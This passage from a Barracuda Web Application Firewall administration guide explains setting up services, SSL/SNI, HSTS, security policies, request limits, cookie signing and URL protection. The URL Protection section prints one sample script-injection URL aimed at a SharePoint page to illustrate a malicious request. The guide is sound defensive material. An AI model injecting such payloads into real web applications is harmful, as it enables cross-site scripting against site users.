version. You can view the download status by clicking Refresh. A “Firmware downloaded” message displays once the download is
complete.
4. Click Apply Now when the download completes.
5. Click OK when prompted to reboot the Barracuda Web Application Firewall.
A Status page displays the progress of the reboot. Once the reboot is complete, the login page appears.

Update the Attack, Virus, Security and GeoIP Definitions

To apply the latest attack, virus, security and geoIP definitions:
1. Go to the ADVANCED > Energize Updates page.

2. Set Automatic Update to On. Click Save. This enables definition updates whenever updates are available.
Attack definition requires an administrator to REBOOT the system. An alert message displays on the BASIC > Dashboard pag
e indicating the new attack definition is synchronized, and to apply the definition, the administrator must reboot the system.
If the system is in version 7.9 or above, an attack definition update does not require system REBOOT.
3. Check if the Current Installed Version is the same as the Latest Version for all definitions.
4. If the Current Installed Version is not the Latest Version, click Update to download and install the latest available attack definitions, virus
definitions, security definitions or geoIP definitions.

Step 2: Configuring a Service
In this article:
What is a Service?
Configuring Your First Service
Steps to Configure a Service
Creating SSL Enabled Services
Configuring SSL for SSL Enabled Services
Health Indicators for Services and Servers
The Barracuda Web Application Firewall can be configured to secure web servers from incoming traffic threats. To do this, create a Service which
can receive the incoming traffic type (for example: an HTTP service can receive HTTP data), then associate security settings with that service to
address the security risks of that traffic type. The Service also receives responses from the servers and applies security before returning
responses to the client.
Using any Service, the Barracuda Web Application Firewall acts as a server to which the client connects on the front-end. On the back-end, the
Service acts as a client to the real servers. The Barracuda Web Application Firewall fulfills each of these roles using the Service and its
associated configuration settings.
What is a Service?
A Service is configured with a Virtual IP (VIP) address and a TCP port. Traffic arriving at the designated VIP and port is validated, subjected to
security checks configured for the service, and then passed to one of the Real Servers associated with that Service.
Configuring Your First Service
The BASIC > Services page allows you to add a new service(s) and server(s) to be protected by the Barracuda Web Application Firewall. The
type of Service you choose should correlate to the type of traffic coming into the application you are protecting, so the service can terminate and
validate the requests before applying security. For example, you should select an HTTP Service for unsecured traffic, versus an HTTPS Service
for secured traffic.
The types of Services you can configure with the Barracuda Web Application Firewall depend on the deployment mode you choose.
In Bridge Mode (Bridge Path) you can configure:
HTTP or HTTPS Services: Validate and apply security to unencrypted or encrypted HTTP traffic.
In Proxy Mode, you can configure:
HTTP and HTTPS Services: Validate and apply security to unencrypted or encrypted HTTP traffic;
FTP and FTPS Services: Validate and apply security to unencrypted and encrypted FTP traffic;
Instant SSL and Redirect Services: Implement off-loaded SSL validation and encryption for unencrypted traffic;
Custom and Custom SSL Services: Allow the Barracuda Web Application Firewall to process any application layer traffic over TCP.
Traffic sent by the client to a Custom or Custom SSL Service is forwarded to the back-end servers without analysis. The Barracuda Web
Application Firewall does not validate the incoming requests or outgoing responses.
Steps to Configure a Service
For detailed instructions on configuring a service, go to the BASIC > Services page and click Help.
Once successfully created, a Service appears in the Services section with a green, orange, or red health indicator next to it. See Health
Indicators for Services and Servers for more information. Newly configured Services, by default, use the ‘default security policy’, and have a
Passive enforcement mode, so at first, all URLs and Parameters are compared to the ‘default security policy’ settings. The Service page allows
you to edit Services so you can change the settings or enforcement mode. For instructions on editing a Service, see Step 3: Configuring Basic
Service Settings.
Creating SSL Enabled Services
To use SSL you need to select a Certificate which the service presents to authenticate itself to a client. Certificates are created or uploaded using
the BASIC > Certificates page, where you can add a certificate to the available Certificate list. You choose your Service certificate from this list
before using Add to create the service. You can change the certificate to any available certificate by clicking Edit for the service in the Services li
st.
By clicking Edit next to the service on the Services section of the BASIC > Services page, you can configure the SSL supported protocols. SSL
status defaults to On for a newly created SSL enabled service. If you set Enforce Client Certificate to Yes, any request from a client without a

certificate immediately terminates. If you set Enable Client Authentication to Yes, the Barracuda Web Application Firewall authenticates the
client with the presented certificate, or authenticates the client using an authorization policy configured through ACCESS CONTROL >
Authorization. Authentication of certificates uses selected trusted certificates.
SSL enabled services allow configuration of encryption between the requesting client and the Barracuda Web Application Firewall. To encrypt
transactions between the appliance and the back-end servers, refer to Back-end SSL Server Configuration.
Health Indicators for Services and Servers
The following are the health indicators displayed for each Service and server:
- Service is up; Server is responding.

- If multiple servers are configured for a Service, the orange dot indicates that more than 50% of Servers are down and the Service is
running.
- Service is down; Server is not responding.
Continue with Step 3: Configuring Basic Service Settings.

Step 3: Configuring Basic Service Settings
When created, Services default to a Passive mode of enforcement using the default Security Policy provided and updated by Barracuda
Networks.
Configuring Service Settings
When a Service is created, a basic set of web firewall features are activated automatically with the default security policy which is provided and
updated by Barracuda Central. These default configuration features provide an adequate amount of attack protection from the majority of web
attacks. When refinements to default security are required for a web application, a variety of options provide increasingly refined settings. You
can edit basic service settings to tailor attack prevention for a Service. To edit service settings, navigate to the BASIC > Services page, identify
the Service you want to edit in the Services list, and click Edit next to it. The Service window displays the following sections:
Service
Basic Security
SSL
Load Balancing
Service
Verify the settings displayed in the Service section are correct. Modify the settings if required.
Basic Security
The basic set of web firewall features can be modified in the Basic Security section. Specify values for the following fields:
a. Web Firewall Policy – By default, all Services are associated with the default security policy. To enforce a new security policy,
click the drop-down list and select the desired security policy. The list includes security policies provided by the Barracuda Web
Application Firewall (default, sharepoint, sharepoint2013, owa, owa2010, owa2013 and oracle) and previously saved customized
policies (if any). To create a new policy, or to edit an existing policy, see Security Policies. If you wish to fine-tune the security
policy, see Tuning Security Rules Using Web Firewall Logs.
b. Web Firewall Log Level – Set the threshold for logging the error messages for the Service. This log level determines whether
only the most urgent attack information, or less serious attack information including warnings or debug information are written to
the logs for the Service. For example, if the log level is set to 3-Error, then logs with 0-3 log levels are logged on the BASIC >
Web Firewall Logs page. Here, the 0-3 log levels include 0-Emergency, 1-Alert, 2-Critical and 3-Error logs.
c. Mode – The Mode determines how the Service responds to offending traffic. By default, it is set to Passive which just logs
violating events and allows the request to pass through. Active mode performs the action configured in association with the
perceived threat. Note: Passive mode is recommended in the initial stages of deployment, so that no traffic to the service is
broken due to false positives.
d. Trusted Hosts Action – You can override default settings and configure a specific response to violations for a set of trusted
hosts accessing the Service. If set to Allow or Passive, all requests from trusted hosts, including those that are possible attacks,
are ignored and passed through. Allow mode doesn't log events, whereas in Passive mode, events are logged. Set to Default, if
trusted hosts requests need no special handling.
e. Trusted Hosts Group – Select the trusted hosts group to which you want to apply the configured Trusted Hosts Action. Trust
ed Hosts and Trusted Hosts Groups are configured on WEBSITES > Trusted Hosts.
f. Ignore Case – This determines how, for this Service, the URLs are matched to rules like URL ACLs and URL Profiles. When set
to Yes, text in upper or lower case can match the specified URL for any Barracuda Web Application Firewall rule. Note: This is
applicable only to URLs, and not parameter names.
g. Header Name For Actual Client IP – Enter the name of the header in which the client IP address is stored for identification by
the server.
h. Rate Control Status – Set to On to bind a rate control pool to limit the rate of requests for the Service.
i. Rate Control Pool – Select a rate control pool you want to associate with the Service. If the pool is configured with a set of
preferred clients, then the rate control policy is applied only to the requests from the preferred clients. If not, the rate control
policy is applied to all requests forwarded to the Service.
SSL
See Configuring SSL for SSL Enabled Services.
Load Balancing
See Configuring Load Balancing for a Service.
Additional security for a Service can be configured using URL policies. URL policies allow Anti-Virus protection, Data Theft protection and Brute
Force protection to be enabled or disabled for specific URL spaces.

Configuring SSL for Services and Servers
By clicking Edit next to a listed Service on the BASIC > Services page, in the SSL section you can configure SSL Encryption of data transmitted
between the client and the Service. Configure the following fields:
Status – Set to On to enable SSL on your Service. Status defaults to On for a newly created SSL enabled service.
Certificate – Select a certificate which should be presented to the browser accessing the Service. For information on how to upload a
certificate, see Adding an SSL Certificate.
Enable ECDSA Ciphers – Set to On to enable ECDSA cipher suites for the Service.
Select ECDSA Certificate – Select an ECDSA certificate which should be presented to the browser accessing the Service.
SSL Protocols – Select the SSL protocol(s) to be used by the clients to establish the connection to the Service from the table. Also, you
can configure an override list for each protocol by using the Override Ciphers section. For more information, see the Creating an
HTTPS Service article.
Enable SNI – Select Yes to enable Server Name Indication (SNI).
Enable Strict SNI Check – Set to Yes to block access for non-SNI clients. If set to No, the certificate selected in the Certificate drop-do
wn list will be used for non-SNI clients.
Domain – Enter the domain name and the certificate that needs to be associated with the domain. The Barracuda Web Application
Firewall supports two types of certificates: RSA and ECDSA. If you want to associate the ECDSA certificate to the domain, select the
certificate from the ECDSA Certificate drop-down list.
You should select the RSA certificate along with the ECDSA certificate for the domain. ECDSA certificate is used ONLY when
Enable ECDSA Ciphers is set to On.
You can enter multiple domain names and associate a certificate with each one. Client requests for domains that are not associated with
any certificate will get the default certificate (i.e. the certificate selected in the Certificate drop-down list). The Configured Domains para
meter displays the configured domains and associated certificates.
Enable Perfect Forward Secrecy – If set to Yes, and ECDH key-exchange is chosen during a SSL/TLS handshake, a new ephemeral
public-private key pair is generated for every SSL/TLS session. Enabling Perfect Forward Secrecy (PFS) ensures that if the private key is
compromised in the future, the encrypted communication cannot be decrypted. Configure the cipher suites by selecting Custom in the Ci
phers field, and delete the non-ECDH cipher suites if you want to prevent non-PFS traffic from passing through the Barracuda Web
Application Firewall. If set to No, and ECDH key-exchange is chosen during a SSL/TLS handshake, a public-private key pair generated
during the service creation is used for all SSL/TLS communications.
Ciphers – Select Custom to choose the Ciphers for the Service from the Available Ciphers list. Default includes all Ciphers listed in Avail
able Ciphers.
The cipher suite selection is done by the Barracuda Web Application Firewall. The strongest cipher suite is selected from the "
Default" or "Custom" cipher suites which is mutually supported by the client.
Enable Client Authentication – When set to Yes, the Barracuda Web Application Firewall authenticates the client with a presented
certificate, or authenticates the client using an authorization policy configured through ACCESS CONTROL > Authorization. Note:
Certificate validation is performed only when both Enable Client Authentication and Enforce Client Certificate are set to Yes.
Enforce Client Certificate – Set to Yes if you want clients to present their certificate while connecting to the Service. If the clients fail to
present their certificate, the SSL handshake is immediately terminated.
Trusted Certificates – Select one or more trusted certificates, which should be used to validate the certificates presented by the clients
connecting to the Service. Only those client certificates that are signed by one of these trusted certificates will be allowed access. For
information on how to upload a trusted certificate, see Adding an SSL Certificate.
Select a Certificate to present to requesting clients for authentication. You can select an already uploaded certificate, or use the BASIC >
Certificates page to upload a Certificate you desire. SSL enabled services allow you to handle encrypted traffic passing between the requesting
client and the Barracuda Web Application Firewall. To encrypt transactions between the unit and the back-end servers, refer to SSL (Server).
Certificates are authenticated using the Trusted Certificates you select. Upload Trusted Certificates on the BASIC > Certificates page.
Server Name Indication (SNI)
SNI extends the SSL/TLS protocol to solve the issue of hosting multiple domains on the same IP address. If each domain has a distinct SSL
certificate, there needs to be a way for the Real Server to select the proper certificate for a particular domain. The virtual domain information is
sent as part of the SSL/TLS negotiation between the client and server. Clients supporting this extension send the domain name when initializing a
secure SSL session. The server side component will look at the domain name and send the corresponding certificate to the client.
For SNI to work properly, both the client browser and the web servers must support the SNI extension. SNI is already supported on most major
browser platforms, and on both Apache and IIS.
With SNI, you can use the Barracuda Web Application Firewall to assign any number and any type of certificates (single, wildcard or SAN) to a
single Barracuda Web Application Firewall Service. SNI support applies only to Services with type HTTPS.

The SNI extension supported browsers are:
Firefox 2.0 and higher

IE 7 and higher on Windows Vista and higher
Safari 5.17 on Windows 7
Google Chrome 6 or higher on Windows 7
SSL (Server)
To encrypt data transmitted between the Barracuda Web Application Firewall and the server, configure the following fields:
Server uses SSL – Set to Yes to enable SSL for communication with the back-end servers.
SSL Protocols – Select the SSL protocol(s) to be used by the clients to establish the connection to the Server from the table.
Validate Server Certificate – Set to Yes to validate the server certificate using an internal bundle of certificates belonging to well known
Certificate Authorities. If set to No, any certificate from the server is accepted. If your servers provide self-signed or test certificates, you
should set this to No.
Send TLS Extensions – Set to Yes to use TLS extensions (as defined in RFC 4366) to negotiate SSL connection with the back-end
server.
Client Certificate – Select a certificate from the drop-down list to be used when the server requires client authentication (Barracuda Web
Application Firewall authenticates itself to the Server).

Services
In this Section:
Creating an HTTP Service

Creating an HTTPS Service
Enabling HSTS for a Service
Securing an HTTP Website with HTTPS
Creating a Redirect Service
Creating a Custom Service
Creating a Custom SSL Service
Creating an FTP Service
Creating an FTP SSL Service

Creating an HTTP Service
An HTTP service is a controlled entry point for an HTTP web application on the server. To create an HTTP service, select HTTP as the type of
service. For additional instructions go to the BASIC > Services page and click Help.

Creating an HTTPS Service
Configuring an HTTPS Service requires the configuration of a Certificate. See Configuring SSL for Services and Servers.
An HTTPS service is a controlled entry point for an encrypted HTTPS web application on the server. This service handles encrypted transactions
between clients and the Barracuda Web Application Firewall, authenticating itself using a configured certificate, while acting as a server to
requesting clients. To create an HTTPS service, select HTTPS as the type of service. For additional instructions go to the BASIC > Services pag
e and click Help.
With HTTPS, HTTP uses SSL/TLS to initiate a secure connection to the application. The SSL/TLS protocols provide an encrypted connection
using a set of cipher suites to encrypt the traffic. SSLv3 is the oldest of these protocols, succeeded in turn by TLS1.0, TLS1.1 and TLS1.2. Each
of these protocols supports a specific set of cipher suites. Over the last few years, many vulnerabilities have been discovered in the SSL/TLS
protocols and the cipher suites that they use. Due to these vulnerabilities, the current recommendations are to disable SSLv3 and use only the
TLS protocols; the preferred TLS protocol is TLS1.2, with TLS1.1 offering the best mix of security and compatibility. Cipher suites have also had
vulnerabilities; some of these vulnerabilities target a specific protocol/cipher suite combination. The BEAST vulnerability, for instance, targets SSL
v3.0 and TLS 1.0 when used with block ciphers.
To help migrate smoothly to more secure protocols and cipher suites, the Barracuda Web Application Firewall now allows administrators to select
specific cipher suites for each protocol. Instead of using the same set of cipher suites for all protocols, you can now configure an override list for
each of the protocols. Once this is configured, each protocol will only use its own override list to negotiate the configuration.
Steps To Configure Cipher Override:
1. Go to the BASIC > Services page.

2. Click Edit next to an HTTPS service. The Edit Service Configuration window appears.
3. Scroll down to the SSL section and click Show Advanced Settings.
4. Under Override Ciphers:
a. For each protocol version select the ciphers you want to include from the Available Ciphers list and click Add.
b. Click Save.
For more information on secure protocol and cipher suite combinations, you can refer to the NIST article or Mozilla wiki:
http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-52r1.pdf
https://wiki.mozilla.org/Security/Server_Side_TLS

Enabling HSTS for a Service

HTTP Strict Transport Security (HSTS) is an opt-in security enhancement specified by a web application using the HTTP response header
“Strict-Transport-Security”, which tells the browsers that they should only be communicated using secure HTTPS connections, and not using
plaintext HTTP. The HSTS policy protects the web applications from the man-in-the-middle attacks, such as protocol downgrade, SSL stripping,
cookie hijacking, etc.
When a service with HSTS policy gets a request using HTTP, it auto-redirects the request to HTTPS the first time and injects the HSTS response
header. An HSTS compliant browser will not allow subsequent requests to the same domain or sub-domains (see below) to be sent over HTTP; it
will automatically convert these requests to HTTPS before they are sent.
HSTS disallows users to ignore SSL-related warnings and helps mitigate MITM attacks on SSL, such as SSL stripping. It also prevents users
from using HTTP links embedded inadvertently in an HTTPS-only application.
HSTS is different from Instant-SSL where all hard coded HTTP links in the responses are re-written as HTTPS on-the-fly by the
Steps to Enable HSTS for a Service
Perform the following steps to enable HSTS for a service:

2. Click Edit next to the service to which you want to enable HSTS policy.
3. Scroll down to the SSL section, click Show Advanced Settings and do the following:
a. Enable HSTS – Set to Yes.
b. HSTS Max-Age – Specify the maximum time in seconds that the HSTS policy should remain valid for the service.
c. Include HSTS Sub-Domains – When set to Yes, the HSTS policy is enforced on all the sub-domains in the service.
d. Modify the values for other parameters (if required).
e. Click Save.

Securing an HTTP Website with HTTPS
Configuring an HTTPS Service requires the configuration of a Certificate. See Configuring SSL for Services and Servers.
Creating an Instant SSL Service creates two services with the same IP address: an HTTPS service with port 443 and a redirect service with port
80. The redirect service is a non-SSL service that redirects all the requests to the HTTPS service. At least one secured site domain should be
specified so relevant links in the response are converted from 'http' to 'https'. For example refer to Figure 4.1; if http://www.barracuda.com i
s specified, all matching instances found in the outgoing response will be rewritten to https://www.barracuda.com. After the HTTPS service
is added, you can edit it to add more domains which need to be rewritten in the response. Upon receiving a request, the redirect service does the
redirection to the service on port 443/HTTPS which in turn sends it to the servers. The HTTPS service rewrites each “http:...” in the request
into an “https:...” in the response content.
SharePoint Rewrite
Sharepoint rewrite support is relevant only if an Instant SSL service is created to protect a Microsoft SharePoint application. Normally, an Instant
SSL Service rewrites the HTTP links in the responses to HTTPS by gleaning them from within HTML tags, like href. But the Sharepoint
application also inserts hyperlinks outside the basic HTML tags which may not be rewritten to HTTPS with a normal ISSL Service. Enabling this
option ensures that HTTP links outside HTML tags are also properly rewritten to HTTPS for responses from Sharepoint applications.
Go to the BASIC > Services page, and click Edit next to an HTTPS service to set SharePoint Rewrite Support to On. By default SharePoint
Rewrite is disabled. To create a Instant SSL service, select Instant SSL as the type of service. For additional instructions go to the BASIC >
Services page and click Help.

Creating a Redirect Service
The redirect service is a non-SSL service that redirects all HTTP requests to an existing HTTPS service. Since the only purpose of this service is
to redirect to an existing service,you cannot specify the Real Server IP address. The redirect service can allow client requests on port 80 even
when the server is only serving SSL requests on port 443. To create a Redirect service, select Redirect as the type of service. For additional
instructions go to the BASIC > Services page and click Help.

Creating a Custom Service
A Custom Service allows the Barracuda Web Application Firewall to process any application layer protocol over TCP. Data sent by the client to a
custom service is forwarded to the back-end servers without analysis. The Barracuda Web Application Firewall does not validate the incoming
requests or outgoing responses. To create a Custom service, select Custom as the type of service. For additional instructions go to the BASIC >
Services page and click Help.

Creating a Custom SSL Service
Configuring a Custom SSL Service requires the configuration of a Certificate. See Configuring SSL for Services and Servers.
A Custom SSL Service is a controlled entry point for an encrypted non-HTTP non-FTP web application on the server. This handles encrypted
transactions between clients and the Barracuda Web Application Firewall and authentication with certificates. To create a Custom SSL service,
select Custom SSL as the type of service. For additional instructions go to the BASIC > Services page and click Help.

Creating an FTP Service
An FTP service is the controlled entry point for an unencrypted FTP web application on the server. To create an FTP service, select FTP as the
type of service.To create an FTP service, select FTP as the type of service. For additional instructions go to the BASIC > Services page and
click Help.

Creating an FTP SSL Service
Configuring an FTP SSL Service requires the configuration of a Certificate. See Configuring SSL for Services and Servers.
An FTP SSL Service is a controlled entry point for an encrypted FTP Web application on the server. This handles encrypted transactions between
clients and the Barracuda Web Application Firewall and authentication with certificates. To create an FTP SSL service, select FTP SSL as the
type of service. For additional instructions go to the BASIC > Services page and click Help.

Securing HTTP/HTTPS Traffic

The Barracuda Web Application Firewall protects your application from the attacks that are categorized by OWASP, as well as additional attacks
such as application DDoS attacks, Slow Client attacks, Session hijacking attacks, XML / SOAP based attacks, etc. This is applicable to both
HTTP and HTTPS application traffic. The Barracuda Web Application Firewall provides a variety of security policies to protect websites and web
services. Security Policies define matching criteria for requests, and specify what actions to take when a request matches. All policies are global
and they can be shared among multiple services configured on the Barracuda Web Application Firewall. For HTTPS applications, the Barracuda
Web Application Firewall decrypts the SSL traffic before matching the HTTP requests with security policies.
When a Service requires customized settings, the provided security policies can be tuned, or customized policies can be created. Each policy is a
collection of nine sub-policies. Modify a policy by editing the value of the parameter(s) on the sub-policy page.
In this Section:
Security Policies
Configuring Request Limits
How to Secure HTTP Cookies
Configuring URL Protection
Configuring Parameter Protection
Limiting Allowed Methods in HTTP Headers and Content
Configuring Cloaking
Configuring Data Theft Protection
Configuring URL Normalization
Configuring Global ACLs
Configuring Action Policy
Back-end SSL Server Configuration
Allow/Deny Rules for Headers and URLs
Allow/Deny Rules for Headers
Allow/Deny Rules for URLs
How to Configure URL Encryption Rule
How to Create a Custom Response Page
How to Enable HTTP/2
How to Enable WebSocket

Security Policies
Overview
The Barracuda Web Application Firewall associates security policies with HTTP and HTTPS Services. A security policy has preset configured
security settings which apply to any associated Service. Security policies are shareable, so once a policy is created, it can be assigned to more
than one Service. The security policy rules specify inspection criteria for input or output data, identifying malicious or vulnerable data. Security
policies include mostly negative and some positive elements. For most web sites, security policies sufficiently implement good web application
security.
Any existing security policy can be refined manually, and new security policies can be created. Security Policies can also be refined using
automated tools (see Tuning Security Rules for instructions).
Security policies include general URL and Parameter protection which is applied to all service requests. When required, more customized URL
and Parameter protection can be implemented using Web Site Profiles, URL profiles, and parameter profiles.
When is a security policy associated with the Service?
When a Service is created, it is associated with the default security policy and log levels. For more information on how to configure a Service see
Configuring a Service, and Configuring Basic Service Settings. The Barracuda Web Application Firewall includes the following pre-configured
security policies:
default
sharepoint
sharepoint2013
owa
owa2010
owa2013
oracle
When needed, the security policy associated with the Service can be changed or refined. Security policies define matching criteria to compare to
requests, and rules for matching requests. All security policies are global, that is, they can be shared by multiple Services configured on the
When a Service needs refined security settings, the provided security policies can be adjusted, or customized policies can be created. To create
a customized security policy, see Steps to Create a New Policy. Each policy is a collection of nine sub-policies. Modify the following sub-policies
by editing the corresponding sub-policy page. The sub-policies include:
Request Limits
Cookie Security
URL Protection
Parameter Protection
Cloaking
Data Theft Protection
URL Normalization
Global ACLs
Action Policy
Steps To Create a New Policy
1. Go to the SECURITY POLICIES > Policy Manager page.

2. In the Create New Policy section, enter a name in the Policy Name text box and click Add.
3. The new policy appears in the Policy Overview section with the default values.
Related Articles




Request limits define the validation criterion for incoming requests by enforcing size limits on HTTP request header fields. The requests that have
fields larger than the specified maximums are dropped. Properly configured limits mitigate buffer overflow exploits, preventing Denial of Service
(DoS) attacks.
Request Limits are enabled by default, requests that exceed the specified length are assumed buffer overflow attacks. The defaults are normally
appropriate, but you might choose to change one or more of the default values under certain conditions.
When to change default values:
Defaults can be modified if the Service or the server may have problems lengths smaller than the defaults. When Action is set to Deny
and Log or Deny with no Log for a Service under URL : Allow/Deny Rules on the WEBSITES > Allow/Deny page, the Barracuda
Web Application Firewall continues to examine the request till it hits the default length configured. Smaller limits therefore lead to a
slight performance improvement since a smaller number of bytes is parsed before denying requests. The defaults can be changed to
bigger values if the original defaults result in false alarms.
Steps To Configure Request Limits
1. Go to the SECURITY POLICIES > Request Limits page.

2. Select the policy from the Policy Name drop-down list for which you want to modify request limits settings.
3. In the Request Limits section, specify values for the following fields:
a. Enable Request Limits - When set to Yes, size limit checks are enforced on request headers.
b. Max Request Length - Enter the maximum allowable request length. This includes the Request Line and all HTTP request
headers (for example, User Agent, Cookies, Referer etc.) The Request Length limit does not include the request body, which is
typically present for POST requests. Any request, whose length exceeds this limit, will be denied.
c. Max Request Line Length – Enter the maximum allowable length for the request line. The request line consists of the method,
the URL (including any query strings) and the HTTP version. Example:
GET /index.cgi?page=home HTTP/1.1
In the above request line, GET is the method, /index.cgi?page=home is the URL and HTTP/1.1 is the version. The length of the
entire line is considered when checking for request line length.
d. Max URL Length – Enter the maximum allowable URL length including the query string portion of the URL.
e. Max Query Length – Enter the maximum allowable length for the query string portion of the URL.
f. Max Number of Cookies – Enter the maximum number of cookies to be allowed.
g. Max Cookie Name Length – Enter the maximum allowable length for cookie name.
h. Max Cookie Value Length – Enter the maximum allowable length for a cookie value. Requests with Cookie values that are
larger than the defined setting are denied.
i. Max Number of Headers – Enter the maximum number of headers in a request. If there are more headers than this limit in the
request, the request is denied.
j. Max Header Name Length – Enter the maximum allowable length for header name.
k. Max Header Value Length – Enter the maximum allowable length for any request header. A request header could either be a
HTTP protocol header such as "Host," "User-Agent" and so on, or a custom header such as "IIS Translate". A request may
contain any number of these headers.
This setting does not apply to Cookies. Cookie lengths are instead controlled by the Cookie related parameters, Max
Cookie Name Length and Max Cookie Value Length.
4. Click Save.

Overview
How Cookie Security Works
Cookie Security Interaction With Other Security Features
Configuring Cookie Security
Overview
Cookies provide a mechanism to store session state information on client navigation platforms such as browsers and other user agents. Cookies
can store user preferences or shopping cart items, and can include sensitive information like registration or login credentials. If a cookie can be
modified, the system can become vulnerable to attacks and sensitive information can be stolen.
How Cookie Security Works
The Barracuda Web Application Firewall cookie security is transparent to back-end servers. When a server inserts a cookie, the Barracuda Web
Application Firewall intercepts the response and encrypts or signs the cookie before delivering it to the client. When a subsequent request from
the client returns this cookie, the Barracuda Web Application Firewall intercepts the request and decrypts it or verifies its signature. If the cookie is
unaltered, the Barracuda Web Application Firewall forwards the original cookie to the server. Altered cookies are removed before the Barracuda
Web Application Firewall forwards the request to the server.
Encryption prevents both viewing and tampering with cookies, so it prevents the client from accessing cookie values. For clients who need to
access cookie values, use signing to allow it. When signing cookies, the Barracuda Web Application Firewall actually forwards two cookies to the
client browser, one plain text cookie and one signed cookie. When a subsequent request from the client returns the cookies, if either cookie is
altered, signature verification fails, and the Barracuda Web Application Firewall removes cookies before forwarding the request to the server.
Cookie Security Interaction With Other Security Features
Encrypting a cookie may change the length of the cookie, but the number of headers in the message remains unchanged. When a cookie is
signed, the length of the cookie changes and one or more headers is appended to the forwarded message. If the SECURITY POLICIES >
Request Limits configuration specifies constraints on the number or length of HTTP headers, a signed or encrypted cookie may violate the
request limits and result in unwanted rejection of messages. Messages thus rejected are logged as Cloak under Action on the BASIC > Web
Firewall Logs page.
Configuring Cookie Security
To encrypt or sign cookies and reject tampered cookies, you need to enable cookie security using the following steps:
1. Go to the SECURITY POLICIES > Cookie Security page.

2. Select a policy from the Policy Name list.
3. In the Cookie Security section, select the desired Tamper Proof Mode, either Encrypted or Signed. Note: Encrypting cookie data
makes cookie values inaccessible to the client. If required, change values of other parameter(s):
Cookie Max Age – Enter the maximum age in minutes for session cookies after which cookies are automatically expired.
Cookie Replay Protection Type – Select the type of protection to be used to prevent cookie replay attacks from the drop-down
list.
Custom Headers – Enter the custom headers to be used in the cookie if the parameter Cookie Replay Protection Type is set
to Custom Headers or IP and Custom Headers and click Add.
Secure Cookie – Set to Yes to allow cookies to be returned to the web server if the client makes secure HTTPS connection
only.
HTTP Only – Set to Yes to allow cookies to be returned to the web server only if the client makes an HTTP connection. When a
client-side script attempts to read a cookie with HTTP Only enabled, the browser returns an empty string as the result. Enabling
HTTP Only prevents the cookie from being accessed through client-side scripts.
Allow Unrecognized Cookies – Select whether unrecognized cookies should be allowed. Use Custom to temporarily allow
unrecognized cookies after deploying. Use Days Allowed to indicate for how long unrecognized cookies are allowed.
Days Allowed – Enter the number of days unrecognized cookies will not be rejected. This field is used only when Allow
Unrecognized Cookies is Custom.
Cookies Exempted – Add the names of cookies to exempt from the cookie security policy.
4. Click Save.
Related Articles
Cookie Tampering Attacks Logged When Barracuda Web Application Firewall Is Initially Deployed

Cookie Tampering Attacks Logged When the Barracuda Web Application Firewall Is Initially Deployed
The Barracuda Web Application Firewall's default security policy signs all outgoing cookies. The Barracuda Web Application Firewall appends a
digital signature to any web Server cookie before delivering it to the client’s browser. When a subsequent request from the client returns the
cookie, the Barracuda Web Application Firewall intercepts the request and verifies its signature. If the cookie is intact, the Barracuda Web
Application Firewall forwards the original cookie to the server. If the cookie has been altered, signature verification fails, and the Barracuda Web
Application Firewall removes the cookie and forwards the request to the server without the cookie.
When the Barracuda Web Application Firewall is deployed in front of your production web Server, all new cookies sent out by the web application
are signed. Note that before deploying the Barracuda Web Application Firewall many clients may already have cookies cached in their browsers.
When the Barracuda Web Application Firewall encounters pre-existing, non-signed cookies, it interprets them as altered cookies and displays
them as a Cookie Tampered message on the BASIC > Web Firewall Logs page.
These log entries gradually disappear as the old cookies expire and the web application sends new cookies, signed by the Barracuda Web
Related Articles


URL requests and embedded parameters in them can contain malicious script. Attacks embedded in URL requests or their parameters are
executed with the permissions of the executing component. Injection of operating system or database commands into the parameters of a URL
request, cross site scripting, remote file inclusion attacks, and buffer overflow attacks can all be perpetrated through unchecked URL requests or
their parameters.
Here is an example of malicious script within a URL Request:
http://www.example.com/sharepoint/default.aspx/%22 );}if(true){alert(%22qwertytis
Defense from these attacks is achieved by restricting the allowed methods in headers and content for invoked URL requests, restricting the
number of request parameters and their lengths, limiting file uploads, and specifying attack types to explicitly detect and block. (Attack types are
configured on ADVANCED > Libraries or ADVANCED > View Internal Patterns.) URL Protection uses a combination of these techniques to
protect against various URL attack types. URL Protection defends the Service from URL request attacks when no URL Profile is configured to do
it. For information on URL Profiles, see Configuring Website Profiles.
Steps To Configure URL Protection
1. Go to the SECURITY POLICIES > URL Protection page.

2. Select the policy from the Policy Name drop-down list for which you want to modify URL protection settings.
3. In the URL Protection section, specify values for the following fields:
a. Enable URL Protection – Select Enable to enforce URL Protection when URL Profiles are not used for validating the
incoming requests.
b. Allowed Methods – Specify the list of methods to be allowed in the request. The Barracuda Web Application Firewall uses this
list to determine whether to allow or deny methods in the requests. See Limiting Allowed Methods in HTTP Headers and Content
.
c. Allowed Content Types – Specify the list of content types to be allowed in the POST body for a URL. “application/x-www-
form-urlencoded” and “multipart/form-data” are typical content types that are used in form submissions. These content
types are recognized by the Barracuda Web Application Firewall and cause it to parse the content into parameters and values.
Other content types are used by custom built applications in various special ways. For example, text/xml may be used by Web
Services enabled applications. These content types, when encountered in the request, are not given any special consideration,
and are passed through to the server if they are allowed by this setting.
d. Max Content Length – Enter the maximum content length to be allowed for POST request body. Note: Only requests with the
Content-Length: headers are validated. Requests encoded using "Chunked Encoding" DO NOT have a Content-Length: header,
and therefore are not subject to the Content Length check.
e. Max Parameters – Enter the maximum number of parameters to be allowed in a request. Parameters can be supplied as part of
the query string or as part of the request body or both. This limit applies to each method of supplying the parameter individually.
For example, if the Max Parameters is 4, a maximum of 4 query string parameters are allowed and a maximum of 4 request
body parameters are allowed. Thus, when both methods are combined, a maximum of 8 parameters will be allowed (4 each).
f. Max Upload Files – Enter the maximum number of files that can be uploaded in one request. If the value is set to two (2), then
the third (3) file upload is denied. The Passive mode logs every uploaded file that exceeds the max count.
g. Max Parameter Name Length – Enter the maximum length of the parameter name in the request.
h. Blocked Attack Types – Select the attack types that needs to be matched in the requests/responses. Attack Types are
specifications of malicious patterns. If the value of a parameter matches one of the specified Attack Types, an intrusion is
detected and logged on the BASIC > Web Firewall Logs page.
Attack Types are defined with groups of Regular expression patterns. Attack Types for SQL Injection, Cross Site scripting and
System Command Injection attacks are provided by default, and one or more of these can be enabled for matching against
request parameters.
Each security policy is configured with default set of attack types that are applied to the matching requests. For more
comprehensive validation, select other attack type patterns.
i. Custom Blocked Attack Types – Select the custom attack types that needs to be matched in the requests/responses. For
information on how to create custom blocked attack types, see Configuring User Defined Patterns.
